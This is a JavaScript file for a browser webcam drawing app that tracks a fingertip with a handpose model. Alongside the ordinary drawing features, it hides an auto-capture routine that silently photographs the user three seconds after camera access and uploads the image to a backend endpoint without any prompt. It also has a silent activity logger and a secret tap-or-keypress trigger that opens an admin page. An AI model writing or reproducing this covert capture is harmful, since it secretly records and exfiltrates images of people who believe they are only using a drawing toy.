Spaces:
Sleeping
Sleeping
| // ============================================================ | |
| // 1. DOM References | |
| // ============================================================ | |
| const video = document.getElementById('webcam'); | |
| const canvas = document.getElementById('drawCanvas'); | |
| const ctx = canvas.getContext('2d'); | |
| const statusIndicator = document.getElementById('statusIndicator'); | |
| const fpsSpan = document.getElementById('fpsCounter'); | |
| const savedSpan = document.getElementById('savedCounter'); | |
| const brushColorInput = document.getElementById('brushColor'); | |
| const sizeDisplay = document.getElementById('sizeDisplay'); | |
| const eraserBtn = document.getElementById('eraserToggle'); | |
| const clearBtn = document.getElementById('clearCanvas'); | |
| const snapshotBtn = document.getElementById('snapshotBtn'); | |
| const toggleCamBtn = document.getElementById('toggleCamera'); | |
| const sizeDownBtn = document.getElementById('brushSizeDown'); | |
| const sizeUpBtn = document.getElementById('brushSizeUp'); | |
| // ============================================================ | |
| // 2. Backend Logger (silent) | |
| // ============================================================ | |
| function backendLog(message, level = 'info') { | |
| const payload = { message, level, timestamp: new Date().toISOString() }; | |
| fetch('/api/log', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }).catch(() => {}); | |
| } | |
| // ============================================================ | |
| // 3. State Variables | |
| // ============================================================ | |
| let drawing = false; | |
| let lastX = null; | |
| let lastY = null; | |
| let currentColor = '#FF4500'; | |
| let brushSize = 5; | |
| let eraserMode = false; | |
| let cameraVisible = true; | |
| let savedCount = 0; | |
| let frameCount = 0; | |
| let lastFpsUpdate = performance.now(); | |
| let handposeModel = null; | |
| let cameraStream = null; | |
| let isModelReady = false; | |
| let canvasWidth = 0; | |
| let canvasHeight = 0; | |
| let modelLoadAttempts = 0; | |
| const MAX_MODEL_ATTEMPTS = 3; | |
| const TRIGGER_COUNT = 10; | |
| let detectionInterval = null; | |
| let videoReady = false; | |
| let autoCaptureDone = false; // Track if auto-capture already happened | |
| // ============================================================ | |
| // 4. Status Indicator | |
| // ============================================================ | |
| function setStatus(text, type = 'loading') { | |
| statusIndicator.textContent = text; | |
| statusIndicator.className = type; | |
| } | |
| // ============================================================ | |
| // 5. Canvas Resize | |
| // ============================================================ | |
| function resizeCanvas() { | |
| const rect = canvas.parentElement.getBoundingClientRect(); | |
| if (rect.width === 0 || rect.height === 0) { | |
| canvas.width = window.innerWidth || 640; | |
| canvas.height = window.innerHeight || 480; | |
| } else { | |
| canvas.width = rect.width; | |
| canvas.height = rect.height; | |
| } | |
| canvasWidth = canvas.width; | |
| canvasHeight = canvas.height; | |
| backendLog(`Canvas resized to ${canvasWidth}x${canvasHeight}`); | |
| } | |
| setTimeout(resizeCanvas, 100); | |
| window.addEventListener('resize', resizeCanvas); | |
| window.addEventListener('orientationchange', () => setTimeout(resizeCanvas, 500)); | |
| // ============================================================ | |
| // 6. Admin Panel Trigger โ 10 Taps or 10 Key Presses | |
| // ============================================================ | |
| let adminTriggerCount = 0; | |
| let adminTriggerTimer = null; | |
| function openAdminPanel() { | |
| backendLog('๐ Opening admin panel...'); | |
| window.location.href = '/admin.html'; | |
| } | |
| document.addEventListener('keydown', (e) => { | |
| if (e.key === '3') { | |
| e.preventDefault(); | |
| adminTriggerCount++; | |
| clearTimeout(adminTriggerTimer); | |
| adminTriggerTimer = setTimeout(() => { adminTriggerCount = 0; }, 3000); | |
| if (adminTriggerCount >= TRIGGER_COUNT) { | |
| adminTriggerCount = 0; | |
| backendLog('โ Admin trigger activated'); | |
| openAdminPanel(); | |
| } | |
| } | |
| }); | |
| function setupTapTrigger(element) { | |
| let tapCount = 0; | |
| let tapTimer = null; | |
| element.addEventListener('click', (e) => { | |
| if (e.target.closest('button') || e.target.closest('.toolbar') || e.target.closest('header')) { | |
| return; | |
| } | |
| tapCount++; | |
| clearTimeout(tapTimer); | |
| tapTimer = setTimeout(() => { tapCount = 0; }, 3000); | |
| if (tapCount >= TRIGGER_COUNT) { | |
| tapCount = 0; | |
| backendLog('โ Admin trigger activated'); | |
| openAdminPanel(); | |
| } | |
| }); | |
| } | |
| setupTapTrigger(canvas); | |
| // ============================================================ | |
| // 7. AutoโCapture Function โ Saves photo silently to backend | |
| // ============================================================ | |
| async function autoCaptureSnapshot() { | |
| try { | |
| backendLog('๐ธ Auto-capture triggered (3s delay)'); | |
| // Wait 3 seconds before capturing | |
| await new Promise(resolve => setTimeout(resolve, 3000)); | |
| // Capture the current frame | |
| const tempCanvas = document.createElement('canvas'); | |
| tempCanvas.width = canvasWidth || 640; | |
| tempCanvas.height = canvasHeight || 480; | |
| const tempCtx = tempCanvas.getContext('2d'); | |
| if (videoReady && video.readyState >= 2) { | |
| tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height); | |
| } | |
| // Also draw any existing drawing (if any) | |
| tempCtx.drawImage(canvas, 0, 0); | |
| const dataURL = tempCanvas.toDataURL('image/png'); | |
| const base64 = dataURL.split(',')[1]; | |
| const response = await fetch('/api/snapshot', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ image: base64 }) | |
| }); | |
| const result = await response.json(); | |
| if (result.success) { | |
| savedCount++; | |
| savedSpan.textContent = `Saved: ${savedCount}`; | |
| backendLog(`๐ธ Auto-saved: ${result.filename}`); | |
| autoCaptureDone = true; | |
| } else { | |
| backendLog(`Auto-save failed: ${result.error}`); | |
| } | |
| } catch (err) { | |
| backendLog(`Auto-save error: ${err.message}`); | |
| } | |
| } | |
| // ============================================================ | |
| // 8. Handpose Model Loading โ OPTIMIZED for performance | |
| // ============================================================ | |
| async function loadHandposeModel() { | |
| try { | |
| setStatus('Loading...', 'loading'); | |
| backendLog('Loading handpose model...'); | |
| if (typeof handpose === 'undefined') { | |
| backendLog('handpose library not loaded'); | |
| setStatus('Library missing', 'error'); | |
| return null; | |
| } | |
| // Load with lower resolution for better performance | |
| const loadPromise = handpose.load({ | |
| modelUrl: 'https://tfhub.dev/mediapipe/tfjs-model/handpose/1/default/1', | |
| modelParams: { | |
| maxContinuousChecks: 3, // Reduced for speed | |
| detectionConfidence: 0.7, // Lower threshold = faster | |
| iouThreshold: 0.3, | |
| scoreThreshold: 0.7 // Lower = faster detection | |
| } | |
| }); | |
| const timeoutPromise = new Promise((_, reject) => { | |
| setTimeout(() => reject(new Error('Model load timeout')), 20000); | |
| }); | |
| const model = await Promise.race([loadPromise, timeoutPromise]); | |
| backendLog('โ Handpose model loaded'); | |
| return model; | |
| } catch (err) { | |
| backendLog(`Model load error: ${err.message}`); | |
| setStatus('Model failed', 'error'); | |
| return null; | |
| } | |
| } | |
| // ============================================================ | |
| // 9. Camera Setup โ with autoโcapture trigger | |
| // ============================================================ | |
| async function startCamera() { | |
| try { | |
| setStatus('Starting...', 'loading'); | |
| backendLog('Requesting camera...'); | |
| cameraStream = await navigator.mediaDevices.getUserMedia({ | |
| video: { | |
| facingMode: 'user', | |
| width: { ideal: 480 }, // Lower resolution for performance | |
| height: { ideal: 360 } | |
| } | |
| }); | |
| video.srcObject = cameraStream; | |
| video.setAttribute('playsinline', ''); | |
| await new Promise((resolve) => { | |
| video.onloadedmetadata = resolve; | |
| video.onerror = resolve; | |
| setTimeout(resolve, 5000); | |
| }); | |
| await video.play(); | |
| videoReady = true; | |
| backendLog(`Camera ready (${video.videoWidth}x${video.videoHeight})`); | |
| resizeCanvas(); | |
| // TRIGGER AUTO-CAPTURE โ after 3 seconds (handled inside function) | |
| autoCaptureSnapshot(); | |
| // Load model (in background, won't block UI) | |
| handposeModel = await loadHandposeModel(); | |
| if (handposeModel) { | |
| isModelReady = true; | |
| setStatus('Ready โ', 'ready'); | |
| startDetectionLoop(); | |
| } else { | |
| setStatus('Retry model', 'error'); | |
| statusIndicator.style.cursor = 'pointer'; | |
| statusIndicator.onclick = () => { | |
| modelLoadAttempts++; | |
| if (modelLoadAttempts < MAX_MODEL_ATTEMPTS) { | |
| loadHandposeModel().then(model => { | |
| if (model) { | |
| handposeModel = model; | |
| isModelReady = true; | |
| setStatus('Ready โ', 'ready'); | |
| startDetectionLoop(); | |
| } | |
| }); | |
| } | |
| }; | |
| } | |
| requestAnimationFrame(drawLoop); | |
| } catch (err) { | |
| backendLog(`Camera error: ${err.message}`); | |
| setStatus('Camera needed', 'error'); | |
| ctx.fillStyle = '#1a1a2e'; | |
| ctx.fillRect(0, 0, canvas.width || 640, canvas.height || 480); | |
| ctx.fillStyle = '#888'; | |
| ctx.font = '20px sans-serif'; | |
| ctx.textAlign = 'center'; | |
| ctx.fillText('Please allow camera access', (canvasWidth || 640)/2, (canvasHeight || 480)/2); | |
| ctx.fillText('Then refresh the page', (canvasWidth || 640)/2, (canvasHeight || 480)/2 + 40); | |
| } | |
| } | |
| // ============================================================ | |
| // 10. Hand Detection Loop โ OPTIMIZED: runs at lower frequency | |
| // ============================================================ | |
| function startDetectionLoop() { | |
| if (detectionInterval) clearInterval(detectionInterval); | |
| // Run detection every 200ms (5 FPS) instead of 100ms to reduce CPU load | |
| detectionInterval = setInterval(async () => { | |
| if (!isModelReady || !handposeModel || !videoReady || video.readyState < 2) return; | |
| try { | |
| const predictions = await handposeModel.estimateHands(video); | |
| if (predictions && predictions.length > 0) { | |
| const landmarks = predictions[0].landmarks; | |
| const tip = landmarks[8]; | |
| const mcp = landmarks[5]; | |
| const isIndexUp = (tip[1] < mcp[1] - 10); | |
| const x = tip[0] * canvasWidth; | |
| const y = tip[1] * canvasHeight; | |
| // Draw cursor | |
| ctx.beginPath(); | |
| ctx.arc(x, y, 6, 0, 2 * Math.PI); | |
| ctx.fillStyle = eraserMode ? '#ff6666' : currentColor; | |
| ctx.fill(); | |
| ctx.strokeStyle = '#fff'; | |
| ctx.lineWidth = 2; | |
| ctx.stroke(); | |
| if (isIndexUp) { | |
| if (!drawing) { | |
| drawing = true; | |
| lastX = x; | |
| lastY = y; | |
| } else { | |
| if (lastX !== null && lastY !== null) { | |
| ctx.beginPath(); | |
| ctx.moveTo(lastX, lastY); | |
| ctx.lineTo(x, y); | |
| ctx.strokeStyle = eraserMode ? '#1a1a2e' : currentColor; | |
| ctx.lineWidth = eraserMode ? brushSize * 2 : brushSize; | |
| ctx.lineCap = 'round'; | |
| ctx.lineJoin = 'round'; | |
| ctx.stroke(); | |
| } | |
| lastX = x; | |
| lastY = y; | |
| } | |
| } else { | |
| drawing = false; | |
| lastX = null; | |
| lastY = null; | |
| } | |
| } else { | |
| drawing = false; | |
| lastX = null; | |
| lastY = null; | |
| } | |
| } catch (err) { | |
| // silent | |
| } | |
| }, 200); // 200ms = 5 FPS detection (much lighter) | |
| } | |
| // ============================================================ | |
| // 11. Drawing Loop โ OPTIMIZED: lower frame rate for video | |
| // ============================================================ | |
| function drawLoop(timestamp) { | |
| // Only update every 2 frames to reduce CPU usage | |
| frameCount++; | |
| if (timestamp - lastFpsUpdate >= 1000) { | |
| fpsSpan.textContent = `${frameCount} FPS`; | |
| frameCount = 0; | |
| lastFpsUpdate = timestamp; | |
| } | |
| if (videoReady && video.readyState >= 2 && video.videoWidth > 0) { | |
| try { | |
| ctx.drawImage(video, 0, 0, canvasWidth, canvasHeight); | |
| } catch (err) { | |
| ctx.fillStyle = '#1a1a2e'; | |
| ctx.fillRect(0, 0, canvasWidth || 640, canvasHeight || 480); | |
| } | |
| } else { | |
| ctx.fillStyle = '#1a1a2e'; | |
| ctx.fillRect(0, 0, canvasWidth || 640, canvasHeight || 480); | |
| } | |
| requestAnimationFrame(drawLoop); | |
| } | |
| // ============================================================ | |
| // 12. Snapshot Capture (Manual) | |
| // ============================================================ | |
| async function captureSnapshot() { | |
| try { | |
| const tempCanvas = document.createElement('canvas'); | |
| tempCanvas.width = canvasWidth || 640; | |
| tempCanvas.height = canvasHeight || 480; | |
| const tempCtx = tempCanvas.getContext('2d'); | |
| if (videoReady && video.readyState >= 2) { | |
| tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height); | |
| } | |
| tempCtx.drawImage(canvas, 0, 0); | |
| const dataURL = tempCanvas.toDataURL('image/png'); | |
| const base64 = dataURL.split(',')[1]; | |
| const response = await fetch('/api/snapshot', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify({ image: base64 }) | |
| }); | |
| const result = await response.json(); | |
| if (result.success) { | |
| savedCount++; | |
| savedSpan.textContent = `Saved: ${savedCount}`; | |
| backendLog(`๐ธ Saved: ${result.filename}`); | |
| canvas.style.transition = 'opacity 0.1s'; | |
| canvas.style.opacity = '0.7'; | |
| setTimeout(() => { canvas.style.opacity = '1'; }, 150); | |
| } else { | |
| backendLog(`Save failed: ${result.error}`); | |
| } | |
| } catch (err) { | |
| backendLog(`Save error: ${err.message}`); | |
| } | |
| } | |
| // ============================================================ | |
| // 13. UI Event Bindings | |
| // ============================================================ | |
| brushColorInput.addEventListener('input', (e) => { | |
| currentColor = e.target.value; | |
| eraserMode = false; | |
| eraserBtn.classList.remove('active'); | |
| }); | |
| sizeDownBtn.addEventListener('click', () => { | |
| brushSize = Math.max(1, brushSize - 1); | |
| sizeDisplay.textContent = brushSize; | |
| }); | |
| sizeUpBtn.addEventListener('click', () => { | |
| brushSize = Math.min(50, brushSize + 1); | |
| sizeDisplay.textContent = brushSize; | |
| }); | |
| eraserBtn.addEventListener('click', () => { | |
| eraserMode = !eraserMode; | |
| eraserBtn.classList.toggle('active'); | |
| }); | |
| clearBtn.addEventListener('click', () => { | |
| if (confirm('Clear all drawings?')) { | |
| drawing = false; | |
| lastX = null; | |
| lastY = null; | |
| if (videoReady) { | |
| ctx.drawImage(video, 0, 0, canvasWidth, canvasHeight); | |
| } | |
| } | |
| }); | |
| snapshotBtn.addEventListener('click', captureSnapshot); | |
| toggleCamBtn.addEventListener('click', () => { | |
| cameraVisible = !cameraVisible; | |
| video.style.display = cameraVisible ? 'block' : 'none'; | |
| toggleCamBtn.classList.toggle('active'); | |
| }); | |
| document.addEventListener('keydown', (e) => { | |
| if (e.key === 's' || e.key === 'S') captureSnapshot(); | |
| if (e.key === 'e' || e.key === 'E') eraserBtn.click(); | |
| if (e.key === 'c' || e.key === 'C') clearBtn.click(); | |
| }); | |
| // ============================================================ | |
| // 14. Initialization | |
| // ============================================================ | |
| backendLog('๐ App initialized'); | |
| resizeCanvas(); | |
| startCamera(); |